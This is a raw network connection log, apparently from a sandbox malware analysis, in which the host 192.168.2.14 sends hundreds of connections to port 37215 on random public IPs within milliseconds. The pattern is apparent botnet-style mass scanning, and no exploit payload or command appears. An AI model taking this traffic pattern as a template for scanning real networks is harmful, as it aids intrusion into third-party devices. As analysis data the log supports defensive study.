Jan 30, 2025 10:43:06.128478050 CET	37734	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:06.128503084 CET	42848	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:06.128523111 CET	60295	37215	192.168.2.14	156.252.68.105
Jan 30, 2025 10:43:06.128537893 CET	60295	37215	192.168.2.14	197.103.147.150
Jan 30, 2025 10:43:06.128540039 CET	60295	37215	192.168.2.14	197.26.72.16
Jan 30, 2025 10:43:06.128549099 CET	60295	37215	192.168.2.14	156.70.198.31
Jan 30, 2025 10:43:06.128551960 CET	60295	37215	192.168.2.14	197.238.151.241
Jan 30, 2025 10:43:06.128551960 CET	60295	37215	192.168.2.14	156.225.42.226
Jan 30, 2025 10:43:06.128555059 CET	60295	37215	192.168.2.14	197.70.164.52
Jan 30, 2025 10:43:06.128561020 CET	60295	37215	192.168.2.14	156.24.78.239
Jan 30, 2025 10:43:06.128561020 CET	60295	37215	192.168.2.14	156.166.106.247
Jan 30, 2025 10:43:06.128568888 CET	60295	37215	192.168.2.14	41.27.214.21
Jan 30, 2025 10:43:06.128585100 CET	60295	37215	192.168.2.14	156.254.131.227
Jan 30, 2025 10:43:06.128585100 CET	60295	37215	192.168.2.14	156.204.46.176
Jan 30, 2025 10:43:06.128587008 CET	60295	37215	192.168.2.14	197.185.158.172
Jan 30, 2025 10:43:06.128593922 CET	60295	37215	192.168.2.14	197.80.212.89
Jan 30, 2025 10:43:06.128597975 CET	60295	37215	192.168.2.14	156.98.164.235
Jan 30, 2025 10:43:06.128597975 CET	60295	37215	192.168.2.14	41.174.125.235
Jan 30, 2025 10:43:06.128598928 CET	60295	37215	192.168.2.14	41.194.5.53
Jan 30, 2025 10:43:06.128597975 CET	60295	37215	192.168.2.14	197.248.229.197
Jan 30, 2025 10:43:06.128607035 CET	60295	37215	192.168.2.14	156.105.98.229
Jan 30, 2025 10:43:06.128607988 CET	60295	37215	192.168.2.14	156.8.254.158
Jan 30, 2025 10:43:06.128607988 CET	60295	37215	192.168.2.14	156.22.98.102
Jan 30, 2025 10:43:06.128608942 CET	60295	37215	192.168.2.14	197.226.7.26
Jan 30, 2025 10:43:06.128608942 CET	60295	37215	192.168.2.14	156.251.13.193
Jan 30, 2025 10:43:06.128628016 CET	60295	37215	192.168.2.14	197.147.190.82
Jan 30, 2025 10:43:06.128628969 CET	60295	37215	192.168.2.14	41.219.78.54
Jan 30, 2025 10:43:06.128634930 CET	60295	37215	192.168.2.14	197.247.234.52
Jan 30, 2025 10:43:06.128638029 CET	60295	37215	192.168.2.14	156.65.95.22
Jan 30, 2025 10:43:06.128647089 CET	60295	37215	192.168.2.14	197.62.71.196
Jan 30, 2025 10:43:06.128648043 CET	60295	37215	192.168.2.14	41.15.2.11
Jan 30, 2025 10:43:06.128654003 CET	60295	37215	192.168.2.14	156.168.175.171
Jan 30, 2025 10:43:06.128659010 CET	60295	37215	192.168.2.14	156.102.113.237
Jan 30, 2025 10:43:06.128665924 CET	60295	37215	192.168.2.14	156.61.244.15
Jan 30, 2025 10:43:06.128665924 CET	60295	37215	192.168.2.14	41.187.1.27
Jan 30, 2025 10:43:06.128679037 CET	60295	37215	192.168.2.14	41.132.37.108
Jan 30, 2025 10:43:06.128701925 CET	60295	37215	192.168.2.14	197.164.120.107
Jan 30, 2025 10:43:06.128705025 CET	60295	37215	192.168.2.14	197.188.199.68
Jan 30, 2025 10:43:06.128706932 CET	60295	37215	192.168.2.14	156.116.150.151
Jan 30, 2025 10:43:06.128709078 CET	60295	37215	192.168.2.14	197.64.144.171
Jan 30, 2025 10:43:06.128709078 CET	60295	37215	192.168.2.14	41.90.253.0
Jan 30, 2025 10:43:06.128709078 CET	60295	37215	192.168.2.14	156.207.156.219
Jan 30, 2025 10:43:06.128709078 CET	60295	37215	192.168.2.14	41.115.212.100
Jan 30, 2025 10:43:06.128715038 CET	60295	37215	192.168.2.14	197.173.216.126
Jan 30, 2025 10:43:06.128715038 CET	60295	37215	192.168.2.14	197.186.125.98
Jan 30, 2025 10:43:06.128717899 CET	60295	37215	192.168.2.14	156.85.244.112
Jan 30, 2025 10:43:06.128720045 CET	60295	37215	192.168.2.14	156.58.253.70
Jan 30, 2025 10:43:06.128720999 CET	60295	37215	192.168.2.14	41.242.9.125
Jan 30, 2025 10:43:06.128720999 CET	60295	37215	192.168.2.14	41.244.239.21
Jan 30, 2025 10:43:06.128729105 CET	60295	37215	192.168.2.14	41.209.223.95
Jan 30, 2025 10:43:06.128731012 CET	60295	37215	192.168.2.14	197.27.203.143
Jan 30, 2025 10:43:06.128750086 CET	60295	37215	192.168.2.14	156.193.137.199
Jan 30, 2025 10:43:06.128751040 CET	60295	37215	192.168.2.14	41.83.169.255
Jan 30, 2025 10:43:06.128756046 CET	60295	37215	192.168.2.14	197.143.17.158
Jan 30, 2025 10:43:06.128760099 CET	60295	37215	192.168.2.14	41.130.178.101
Jan 30, 2025 10:43:06.128760099 CET	60295	37215	192.168.2.14	197.88.25.235
Jan 30, 2025 10:43:06.128773928 CET	60295	37215	192.168.2.14	197.89.48.41
Jan 30, 2025 10:43:06.128777027 CET	60295	37215	192.168.2.14	197.105.60.10
Jan 30, 2025 10:43:06.128784895 CET	60295	37215	192.168.2.14	156.9.25.220
Jan 30, 2025 10:43:06.128796101 CET	60295	37215	192.168.2.14	156.170.43.128
Jan 30, 2025 10:43:06.128796101 CET	60295	37215	192.168.2.14	156.116.212.82
Jan 30, 2025 10:43:06.128803968 CET	60295	37215	192.168.2.14	156.145.138.90
Jan 30, 2025 10:43:06.128813028 CET	60295	37215	192.168.2.14	156.247.254.151
Jan 30, 2025 10:43:06.128817081 CET	60295	37215	192.168.2.14	197.61.167.131
Jan 30, 2025 10:43:06.128818989 CET	60295	37215	192.168.2.14	197.72.68.36
Jan 30, 2025 10:43:06.128829956 CET	60295	37215	192.168.2.14	156.175.5.251
Jan 30, 2025 10:43:06.128833055 CET	60295	37215	192.168.2.14	41.6.189.129
Jan 30, 2025 10:43:06.128838062 CET	60295	37215	192.168.2.14	41.160.130.226
Jan 30, 2025 10:43:06.128840923 CET	60295	37215	192.168.2.14	156.252.100.132
Jan 30, 2025 10:43:06.128849030 CET	60295	37215	192.168.2.14	156.211.19.207
Jan 30, 2025 10:43:06.128854036 CET	60295	37215	192.168.2.14	41.99.245.123
Jan 30, 2025 10:43:06.128854036 CET	60295	37215	192.168.2.14	197.95.117.11
Jan 30, 2025 10:43:06.128869057 CET	60295	37215	192.168.2.14	197.23.240.62
Jan 30, 2025 10:43:06.128869057 CET	60295	37215	192.168.2.14	197.234.133.145
Jan 30, 2025 10:43:06.128869057 CET	60295	37215	192.168.2.14	197.42.35.89
Jan 30, 2025 10:43:06.128881931 CET	60295	37215	192.168.2.14	197.15.80.121
Jan 30, 2025 10:43:06.128885031 CET	60295	37215	192.168.2.14	197.208.245.97
Jan 30, 2025 10:43:06.128885031 CET	60295	37215	192.168.2.14	41.196.1.141
Jan 30, 2025 10:43:06.128892899 CET	60295	37215	192.168.2.14	41.208.45.37
Jan 30, 2025 10:43:06.128895998 CET	60295	37215	192.168.2.14	197.221.128.90
Jan 30, 2025 10:43:06.128899097 CET	60295	37215	192.168.2.14	197.202.182.35
Jan 30, 2025 10:43:06.128909111 CET	60295	37215	192.168.2.14	41.134.8.147
Jan 30, 2025 10:43:06.128916025 CET	60295	37215	192.168.2.14	41.175.212.121
Jan 30, 2025 10:43:06.128916025 CET	60295	37215	192.168.2.14	41.119.252.18
Jan 30, 2025 10:43:06.128922939 CET	60295	37215	192.168.2.14	197.85.137.30
Jan 30, 2025 10:43:06.128922939 CET	60295	37215	192.168.2.14	41.10.189.184
Jan 30, 2025 10:43:06.128937006 CET	60295	37215	192.168.2.14	197.12.206.215
Jan 30, 2025 10:43:06.128947973 CET	60295	37215	192.168.2.14	41.234.177.133
Jan 30, 2025 10:43:06.128948927 CET	60295	37215	192.168.2.14	197.200.26.115
Jan 30, 2025 10:43:06.128958941 CET	60295	37215	192.168.2.14	41.8.117.239
Jan 30, 2025 10:43:06.128969908 CET	60295	37215	192.168.2.14	156.43.18.42
Jan 30, 2025 10:43:06.128972054 CET	60295	37215	192.168.2.14	41.226.155.131
Jan 30, 2025 10:43:06.128978968 CET	60295	37215	192.168.2.14	41.46.54.43
Jan 30, 2025 10:43:06.128990889 CET	60295	37215	192.168.2.14	156.13.79.132
Jan 30, 2025 10:43:06.128993988 CET	60295	37215	192.168.2.14	197.83.200.85
Jan 30, 2025 10:43:06.128995895 CET	60295	37215	192.168.2.14	156.153.132.246
Jan 30, 2025 10:43:06.129010916 CET	60295	37215	192.168.2.14	156.69.186.242
Jan 30, 2025 10:43:06.129017115 CET	60295	37215	192.168.2.14	197.168.105.212
Jan 30, 2025 10:43:06.129019976 CET	60295	37215	192.168.2.14	197.221.61.65
Jan 30, 2025 10:43:06.129023075 CET	60295	37215	192.168.2.14	156.112.222.123
Jan 30, 2025 10:43:06.129039049 CET	60295	37215	192.168.2.14	41.210.189.235
Jan 30, 2025 10:43:06.129039049 CET	60295	37215	192.168.2.14	197.14.208.252
Jan 30, 2025 10:43:06.129041910 CET	60295	37215	192.168.2.14	197.210.203.220
Jan 30, 2025 10:43:06.129041910 CET	60295	37215	192.168.2.14	156.249.180.197
Jan 30, 2025 10:43:06.129041910 CET	60295	37215	192.168.2.14	156.51.158.147
Jan 30, 2025 10:43:06.129045010 CET	60295	37215	192.168.2.14	41.36.231.54
Jan 30, 2025 10:43:06.129051924 CET	60295	37215	192.168.2.14	41.215.223.0
Jan 30, 2025 10:43:06.129061937 CET	60295	37215	192.168.2.14	41.224.32.181
Jan 30, 2025 10:43:06.129065990 CET	60295	37215	192.168.2.14	41.58.60.20
Jan 30, 2025 10:43:06.129084110 CET	60295	37215	192.168.2.14	197.62.32.139
Jan 30, 2025 10:43:06.129086971 CET	60295	37215	192.168.2.14	156.20.10.10
Jan 30, 2025 10:43:06.129087925 CET	60295	37215	192.168.2.14	156.142.234.42
Jan 30, 2025 10:43:06.129090071 CET	60295	37215	192.168.2.14	197.85.197.160
Jan 30, 2025 10:43:06.129105091 CET	60295	37215	192.168.2.14	41.150.67.236
Jan 30, 2025 10:43:06.129106045 CET	60295	37215	192.168.2.14	156.115.156.127
Jan 30, 2025 10:43:06.129106045 CET	60295	37215	192.168.2.14	156.65.170.238
Jan 30, 2025 10:43:06.129106998 CET	60295	37215	192.168.2.14	41.131.198.139
Jan 30, 2025 10:43:06.129116058 CET	60295	37215	192.168.2.14	41.153.191.127
Jan 30, 2025 10:43:06.129123926 CET	60295	37215	192.168.2.14	41.188.241.15
Jan 30, 2025 10:43:06.129127026 CET	60295	37215	192.168.2.14	197.206.177.166
Jan 30, 2025 10:43:06.129137993 CET	60295	37215	192.168.2.14	197.2.12.169
Jan 30, 2025 10:43:06.129143000 CET	60295	37215	192.168.2.14	156.229.21.63
Jan 30, 2025 10:43:06.129144907 CET	60295	37215	192.168.2.14	197.138.106.204
Jan 30, 2025 10:43:06.129158020 CET	60295	37215	192.168.2.14	156.32.105.115
Jan 30, 2025 10:43:06.129163980 CET	60295	37215	192.168.2.14	197.182.185.209
Jan 30, 2025 10:43:06.129165888 CET	60295	37215	192.168.2.14	41.210.119.173
Jan 30, 2025 10:43:06.129178047 CET	60295	37215	192.168.2.14	41.119.78.20
Jan 30, 2025 10:43:06.129183054 CET	60295	37215	192.168.2.14	197.217.139.236
Jan 30, 2025 10:43:06.129185915 CET	60295	37215	192.168.2.14	197.60.146.137
Jan 30, 2025 10:43:06.129187107 CET	60295	37215	192.168.2.14	156.126.61.35
Jan 30, 2025 10:43:06.129189968 CET	60295	37215	192.168.2.14	41.17.154.186
Jan 30, 2025 10:43:06.129200935 CET	60295	37215	192.168.2.14	156.78.69.64
Jan 30, 2025 10:43:06.129214048 CET	60295	37215	192.168.2.14	41.239.162.100
Jan 30, 2025 10:43:06.129215002 CET	60295	37215	192.168.2.14	156.41.92.168
Jan 30, 2025 10:43:06.129221916 CET	60295	37215	192.168.2.14	41.189.30.195
Jan 30, 2025 10:43:06.129231930 CET	60295	37215	192.168.2.14	41.119.34.191
Jan 30, 2025 10:43:06.129235983 CET	60295	37215	192.168.2.14	197.156.122.109
Jan 30, 2025 10:43:06.129236937 CET	60295	37215	192.168.2.14	197.196.192.160
Jan 30, 2025 10:43:06.129247904 CET	60295	37215	192.168.2.14	197.185.160.188
Jan 30, 2025 10:43:06.129254103 CET	60295	37215	192.168.2.14	197.199.139.171
Jan 30, 2025 10:43:06.129257917 CET	60295	37215	192.168.2.14	156.188.218.214
Jan 30, 2025 10:43:06.129265070 CET	60295	37215	192.168.2.14	41.50.245.100
Jan 30, 2025 10:43:06.129267931 CET	60295	37215	192.168.2.14	156.174.142.188
Jan 30, 2025 10:43:06.129291058 CET	60295	37215	192.168.2.14	197.250.51.127
Jan 30, 2025 10:43:06.129292011 CET	60295	37215	192.168.2.14	156.98.133.149
Jan 30, 2025 10:43:06.129292965 CET	60295	37215	192.168.2.14	197.50.57.120
Jan 30, 2025 10:43:06.129297018 CET	60295	37215	192.168.2.14	41.54.57.20
Jan 30, 2025 10:43:06.129300117 CET	60295	37215	192.168.2.14	197.149.174.15
Jan 30, 2025 10:43:06.129302979 CET	60295	37215	192.168.2.14	156.157.201.232
Jan 30, 2025 10:43:06.129303932 CET	60295	37215	192.168.2.14	197.101.208.118
Jan 30, 2025 10:43:06.129309893 CET	60295	37215	192.168.2.14	41.165.172.129
Jan 30, 2025 10:43:06.129309893 CET	60295	37215	192.168.2.14	197.48.159.89
Jan 30, 2025 10:43:06.129311085 CET	60295	37215	192.168.2.14	197.24.210.201
Jan 30, 2025 10:43:06.129311085 CET	60295	37215	192.168.2.14	197.152.156.192
Jan 30, 2025 10:43:06.129333019 CET	60295	37215	192.168.2.14	41.164.233.39
Jan 30, 2025 10:43:06.129333019 CET	60295	37215	192.168.2.14	156.4.42.9
Jan 30, 2025 10:43:06.129336119 CET	60295	37215	192.168.2.14	197.135.114.123
Jan 30, 2025 10:43:06.129344940 CET	60295	37215	192.168.2.14	156.174.161.135
Jan 30, 2025 10:43:06.129349947 CET	60295	37215	192.168.2.14	156.226.79.233
Jan 30, 2025 10:43:06.129357100 CET	60295	37215	192.168.2.14	41.215.51.44
Jan 30, 2025 10:43:06.129365921 CET	60295	37215	192.168.2.14	41.33.253.195
Jan 30, 2025 10:43:06.129368067 CET	60295	37215	192.168.2.14	156.104.95.92
Jan 30, 2025 10:43:06.129370928 CET	60295	37215	192.168.2.14	156.152.25.200
Jan 30, 2025 10:43:06.129390955 CET	60295	37215	192.168.2.14	41.141.30.184
Jan 30, 2025 10:43:06.129390955 CET	60295	37215	192.168.2.14	41.77.246.144
Jan 30, 2025 10:43:06.129391909 CET	60295	37215	192.168.2.14	41.218.78.238
Jan 30, 2025 10:43:06.129391909 CET	60295	37215	192.168.2.14	156.25.130.229
Jan 30, 2025 10:43:06.129398108 CET	60295	37215	192.168.2.14	197.113.227.123
Jan 30, 2025 10:43:06.129399061 CET	60295	37215	192.168.2.14	197.182.235.82
Jan 30, 2025 10:43:06.129400015 CET	60295	37215	192.168.2.14	41.198.148.104
Jan 30, 2025 10:43:06.129400969 CET	60295	37215	192.168.2.14	41.253.206.161
Jan 30, 2025 10:43:06.129419088 CET	60295	37215	192.168.2.14	197.55.70.121
Jan 30, 2025 10:43:06.129419088 CET	60295	37215	192.168.2.14	41.98.139.200
Jan 30, 2025 10:43:06.129421949 CET	60295	37215	192.168.2.14	41.253.192.56
Jan 30, 2025 10:43:06.129425049 CET	60295	37215	192.168.2.14	197.41.39.184
Jan 30, 2025 10:43:06.129431963 CET	60295	37215	192.168.2.14	41.171.22.92
Jan 30, 2025 10:43:06.129440069 CET	60295	37215	192.168.2.14	156.222.211.197
Jan 30, 2025 10:43:06.129446030 CET	60295	37215	192.168.2.14	41.23.27.38
Jan 30, 2025 10:43:06.129446030 CET	60295	37215	192.168.2.14	156.76.102.171
Jan 30, 2025 10:43:06.129452944 CET	60295	37215	192.168.2.14	156.47.152.251
Jan 30, 2025 10:43:06.129458904 CET	60295	37215	192.168.2.14	197.26.87.95
Jan 30, 2025 10:43:06.129467964 CET	60295	37215	192.168.2.14	156.146.158.113
Jan 30, 2025 10:43:06.129475117 CET	60295	37215	192.168.2.14	41.113.193.197
Jan 30, 2025 10:43:06.129483938 CET	60295	37215	192.168.2.14	156.32.61.198
Jan 30, 2025 10:43:06.129487038 CET	60295	37215	192.168.2.14	197.17.171.108
Jan 30, 2025 10:43:06.129491091 CET	60295	37215	192.168.2.14	197.85.141.65
Jan 30, 2025 10:43:06.129498959 CET	60295	37215	192.168.2.14	197.58.92.171
Jan 30, 2025 10:43:06.129503965 CET	60295	37215	192.168.2.14	41.40.246.9
Jan 30, 2025 10:43:06.129513025 CET	60295	37215	192.168.2.14	197.208.163.157
Jan 30, 2025 10:43:06.129527092 CET	60295	37215	192.168.2.14	41.108.213.239
Jan 30, 2025 10:43:06.129534006 CET	60295	37215	192.168.2.14	197.120.238.94
Jan 30, 2025 10:43:06.129539013 CET	60295	37215	192.168.2.14	156.254.138.161
Jan 30, 2025 10:43:06.129548073 CET	60295	37215	192.168.2.14	41.19.182.252
Jan 30, 2025 10:43:06.129548073 CET	60295	37215	192.168.2.14	41.150.219.65
Jan 30, 2025 10:43:06.129551888 CET	60295	37215	192.168.2.14	41.132.71.36
Jan 30, 2025 10:43:06.129559994 CET	60295	37215	192.168.2.14	197.167.181.153
Jan 30, 2025 10:43:06.129559994 CET	60295	37215	192.168.2.14	197.158.252.88
Jan 30, 2025 10:43:06.129561901 CET	60295	37215	192.168.2.14	156.185.222.194
Jan 30, 2025 10:43:06.129563093 CET	60295	37215	192.168.2.14	156.217.79.233
Jan 30, 2025 10:43:06.129563093 CET	60295	37215	192.168.2.14	156.167.153.103
Jan 30, 2025 10:43:06.129563093 CET	60295	37215	192.168.2.14	156.238.225.56
Jan 30, 2025 10:43:06.129568100 CET	60295	37215	192.168.2.14	156.160.52.77
Jan 30, 2025 10:43:06.129569054 CET	60295	37215	192.168.2.14	197.242.6.96
Jan 30, 2025 10:43:06.129569054 CET	60295	37215	192.168.2.14	197.209.174.188
Jan 30, 2025 10:43:06.129573107 CET	60295	37215	192.168.2.14	156.196.238.173
Jan 30, 2025 10:43:06.129575968 CET	60295	37215	192.168.2.14	41.9.207.183
Jan 30, 2025 10:43:06.129585981 CET	60295	37215	192.168.2.14	197.235.15.198
Jan 30, 2025 10:43:06.129591942 CET	60295	37215	192.168.2.14	41.238.32.24
Jan 30, 2025 10:43:06.129592896 CET	60295	37215	192.168.2.14	197.136.141.123
Jan 30, 2025 10:43:06.129595041 CET	60295	37215	192.168.2.14	41.7.243.61
Jan 30, 2025 10:43:06.129611015 CET	60295	37215	192.168.2.14	41.120.133.224
Jan 30, 2025 10:43:06.129612923 CET	60295	37215	192.168.2.14	41.79.208.230
Jan 30, 2025 10:43:06.129617929 CET	60295	37215	192.168.2.14	156.199.197.93
Jan 30, 2025 10:43:06.129622936 CET	60295	37215	192.168.2.14	156.26.25.68
Jan 30, 2025 10:43:06.129628897 CET	60295	37215	192.168.2.14	156.235.61.253
Jan 30, 2025 10:43:06.129637957 CET	60295	37215	192.168.2.14	197.215.14.203
Jan 30, 2025 10:43:06.129642010 CET	60295	37215	192.168.2.14	197.125.182.18
Jan 30, 2025 10:43:06.129642010 CET	60295	37215	192.168.2.14	41.45.52.220
Jan 30, 2025 10:43:06.129658937 CET	60295	37215	192.168.2.14	197.204.35.69
Jan 30, 2025 10:43:06.129666090 CET	60295	37215	192.168.2.14	197.78.225.187
Jan 30, 2025 10:43:06.129667044 CET	60295	37215	192.168.2.14	197.109.249.207
Jan 30, 2025 10:43:06.129672050 CET	60295	37215	192.168.2.14	41.26.204.26
Jan 30, 2025 10:43:06.129672050 CET	60295	37215	192.168.2.14	41.248.33.155
Jan 30, 2025 10:43:06.129690886 CET	60295	37215	192.168.2.14	41.228.8.27
Jan 30, 2025 10:43:06.129693031 CET	60295	37215	192.168.2.14	197.34.187.17
Jan 30, 2025 10:43:06.129693031 CET	60295	37215	192.168.2.14	197.72.203.161
Jan 30, 2025 10:43:06.129693031 CET	60295	37215	192.168.2.14	41.161.6.95
Jan 30, 2025 10:43:06.129709005 CET	60295	37215	192.168.2.14	41.73.187.10
Jan 30, 2025 10:43:06.129715919 CET	60295	37215	192.168.2.14	156.88.207.247
Jan 30, 2025 10:43:06.129715919 CET	60295	37215	192.168.2.14	41.124.135.49
Jan 30, 2025 10:43:06.129725933 CET	60295	37215	192.168.2.14	156.137.77.237
Jan 30, 2025 10:43:06.129725933 CET	60295	37215	192.168.2.14	41.231.173.171
Jan 30, 2025 10:43:06.129736900 CET	60295	37215	192.168.2.14	41.239.234.52
Jan 30, 2025 10:43:06.129745960 CET	60295	37215	192.168.2.14	197.227.31.118
Jan 30, 2025 10:43:06.129754066 CET	60295	37215	192.168.2.14	156.6.47.193
Jan 30, 2025 10:43:06.129757881 CET	60295	37215	192.168.2.14	156.94.20.174
Jan 30, 2025 10:43:06.129774094 CET	60295	37215	192.168.2.14	197.23.64.112
Jan 30, 2025 10:43:06.129775047 CET	60295	37215	192.168.2.14	41.186.222.50
Jan 30, 2025 10:43:06.129776955 CET	60295	37215	192.168.2.14	197.251.112.146
Jan 30, 2025 10:43:06.129786015 CET	60295	37215	192.168.2.14	197.80.246.107
Jan 30, 2025 10:43:06.129786015 CET	60295	37215	192.168.2.14	197.62.92.33
Jan 30, 2025 10:43:06.129786968 CET	60295	37215	192.168.2.14	156.199.179.104
Jan 30, 2025 10:43:06.129787922 CET	60295	37215	192.168.2.14	41.178.214.164
Jan 30, 2025 10:43:06.129787922 CET	60295	37215	192.168.2.14	197.173.73.48
Jan 30, 2025 10:43:06.129791021 CET	60295	37215	192.168.2.14	41.50.232.105
Jan 30, 2025 10:43:06.129793882 CET	60295	37215	192.168.2.14	156.83.152.83
Jan 30, 2025 10:43:06.129808903 CET	60295	37215	192.168.2.14	156.169.244.145
Jan 30, 2025 10:43:06.129810095 CET	60295	37215	192.168.2.14	41.4.250.156
Jan 30, 2025 10:43:06.129813910 CET	60295	37215	192.168.2.14	41.210.40.38
Jan 30, 2025 10:43:06.129825115 CET	60295	37215	192.168.2.14	41.90.53.27
Jan 30, 2025 10:43:06.129832029 CET	60295	37215	192.168.2.14	156.162.182.93
Jan 30, 2025 10:43:06.129832029 CET	60295	37215	192.168.2.14	197.186.178.84
Jan 30, 2025 10:43:06.129832983 CET	60295	37215	192.168.2.14	41.224.253.137
Jan 30, 2025 10:43:06.129853010 CET	60295	37215	192.168.2.14	197.121.30.96
Jan 30, 2025 10:43:06.129853010 CET	60295	37215	192.168.2.14	41.213.36.93
Jan 30, 2025 10:43:06.129853964 CET	60295	37215	192.168.2.14	156.204.142.196
Jan 30, 2025 10:43:06.129861116 CET	60295	37215	192.168.2.14	156.161.252.156
Jan 30, 2025 10:43:06.129861116 CET	60295	37215	192.168.2.14	156.19.219.155
Jan 30, 2025 10:43:06.129863977 CET	60295	37215	192.168.2.14	156.81.19.12
Jan 30, 2025 10:43:06.129864931 CET	60295	37215	192.168.2.14	156.177.93.164
Jan 30, 2025 10:43:06.129869938 CET	60295	37215	192.168.2.14	197.88.86.138
Jan 30, 2025 10:43:06.129870892 CET	60295	37215	192.168.2.14	156.140.188.112
Jan 30, 2025 10:43:06.129878998 CET	60295	37215	192.168.2.14	41.7.188.51
Jan 30, 2025 10:43:06.129884958 CET	60295	37215	192.168.2.14	156.210.244.96
Jan 30, 2025 10:43:06.129884958 CET	60295	37215	192.168.2.14	156.89.73.130
Jan 30, 2025 10:43:06.129899979 CET	60295	37215	192.168.2.14	41.180.131.233
Jan 30, 2025 10:43:06.129906893 CET	60295	37215	192.168.2.14	41.10.218.116
Jan 30, 2025 10:43:06.129908085 CET	60295	37215	192.168.2.14	197.53.50.164
Jan 30, 2025 10:43:06.129916906 CET	60295	37215	192.168.2.14	156.5.227.212
Jan 30, 2025 10:43:06.129920959 CET	60295	37215	192.168.2.14	197.34.131.111
Jan 30, 2025 10:43:06.129923105 CET	60295	37215	192.168.2.14	41.168.242.58
Jan 30, 2025 10:43:06.129923105 CET	60295	37215	192.168.2.14	156.124.243.253
Jan 30, 2025 10:43:06.129923105 CET	60295	37215	192.168.2.14	156.99.55.152
Jan 30, 2025 10:43:06.129937887 CET	60295	37215	192.168.2.14	156.93.39.30
Jan 30, 2025 10:43:06.129940033 CET	60295	37215	192.168.2.14	197.37.173.197
Jan 30, 2025 10:43:06.129940033 CET	60295	37215	192.168.2.14	197.111.112.45
Jan 30, 2025 10:43:06.129945040 CET	60295	37215	192.168.2.14	156.3.239.125
Jan 30, 2025 10:43:06.129960060 CET	60295	37215	192.168.2.14	156.96.188.183
Jan 30, 2025 10:43:06.129961014 CET	60295	37215	192.168.2.14	156.244.69.10
Jan 30, 2025 10:43:06.129960060 CET	60295	37215	192.168.2.14	41.4.42.30
Jan 30, 2025 10:43:06.129976988 CET	60295	37215	192.168.2.14	41.190.143.236
Jan 30, 2025 10:43:06.129982948 CET	60295	37215	192.168.2.14	156.182.158.230
Jan 30, 2025 10:43:06.129986048 CET	60295	37215	192.168.2.14	41.110.246.170
Jan 30, 2025 10:43:06.129986048 CET	60295	37215	192.168.2.14	156.98.61.102
Jan 30, 2025 10:43:06.129996061 CET	60295	37215	192.168.2.14	197.145.37.100
Jan 30, 2025 10:43:06.130001068 CET	60295	37215	192.168.2.14	156.74.240.63
Jan 30, 2025 10:43:06.130001068 CET	60295	37215	192.168.2.14	197.241.119.249
Jan 30, 2025 10:43:06.130009890 CET	60295	37215	192.168.2.14	197.153.17.104
Jan 30, 2025 10:43:06.130023003 CET	60295	37215	192.168.2.14	197.62.128.40
Jan 30, 2025 10:43:06.130023003 CET	60295	37215	192.168.2.14	197.45.72.77
Jan 30, 2025 10:43:06.130029917 CET	60295	37215	192.168.2.14	41.4.38.237
Jan 30, 2025 10:43:06.130040884 CET	60295	37215	192.168.2.14	41.101.46.242
Jan 30, 2025 10:43:06.130049944 CET	60295	37215	192.168.2.14	41.64.190.93
Jan 30, 2025 10:43:06.130052090 CET	60295	37215	192.168.2.14	197.59.189.247
Jan 30, 2025 10:43:06.130065918 CET	60295	37215	192.168.2.14	41.157.209.204
Jan 30, 2025 10:43:06.130072117 CET	60295	37215	192.168.2.14	156.24.129.112
Jan 30, 2025 10:43:06.130072117 CET	60295	37215	192.168.2.14	197.144.161.102
Jan 30, 2025 10:43:06.130083084 CET	60295	37215	192.168.2.14	197.202.119.2
Jan 30, 2025 10:43:06.130089045 CET	60295	37215	192.168.2.14	156.16.23.148
Jan 30, 2025 10:43:06.130095005 CET	60295	37215	192.168.2.14	156.58.98.63
Jan 30, 2025 10:43:06.130100012 CET	60295	37215	192.168.2.14	41.240.92.114
Jan 30, 2025 10:43:06.130101919 CET	60295	37215	192.168.2.14	197.212.52.16
Jan 30, 2025 10:43:06.130115032 CET	60295	37215	192.168.2.14	41.253.25.244
Jan 30, 2025 10:43:06.130121946 CET	60295	37215	192.168.2.14	156.206.48.22
Jan 30, 2025 10:43:06.130122900 CET	60295	37215	192.168.2.14	41.181.209.242
Jan 30, 2025 10:43:06.130137920 CET	60295	37215	192.168.2.14	156.250.7.226
Jan 30, 2025 10:43:06.130142927 CET	60295	37215	192.168.2.14	41.120.20.104
Jan 30, 2025 10:43:06.130145073 CET	60295	37215	192.168.2.14	41.33.88.207
Jan 30, 2025 10:43:06.130148888 CET	60295	37215	192.168.2.14	156.41.229.156
Jan 30, 2025 10:43:06.130162954 CET	60295	37215	192.168.2.14	41.179.98.59
Jan 30, 2025 10:43:06.130163908 CET	60295	37215	192.168.2.14	41.253.158.12
Jan 30, 2025 10:43:06.130162954 CET	60295	37215	192.168.2.14	156.39.88.180
Jan 30, 2025 10:43:06.130171061 CET	60295	37215	192.168.2.14	197.162.248.8
Jan 30, 2025 10:43:06.130176067 CET	60295	37215	192.168.2.14	197.52.1.219
Jan 30, 2025 10:43:06.130189896 CET	60295	37215	192.168.2.14	156.16.48.139
Jan 30, 2025 10:43:06.130194902 CET	60295	37215	192.168.2.14	156.191.186.50
Jan 30, 2025 10:43:06.130202055 CET	60295	37215	192.168.2.14	41.112.216.0
Jan 30, 2025 10:43:06.130203009 CET	60295	37215	192.168.2.14	41.161.19.249
Jan 30, 2025 10:43:06.130203009 CET	60295	37215	192.168.2.14	41.135.160.30
Jan 30, 2025 10:43:06.130206108 CET	60295	37215	192.168.2.14	156.199.108.97
Jan 30, 2025 10:43:06.130208969 CET	60295	37215	192.168.2.14	156.101.51.87
Jan 30, 2025 10:43:06.130223036 CET	60295	37215	192.168.2.14	197.123.133.206
Jan 30, 2025 10:43:06.130383015 CET	58744	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:06.130390882 CET	58744	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:06.130842924 CET	59050	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:06.131190062 CET	41240	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:06.131190062 CET	41240	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:06.131457090 CET	41530	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:06.131793976 CET	39370	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:06.131793976 CET	39370	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:06.132055998 CET	39658	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:06.132399082 CET	36088	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:06.132399082 CET	36088	37215	192.168.2.14	197.171.102.195
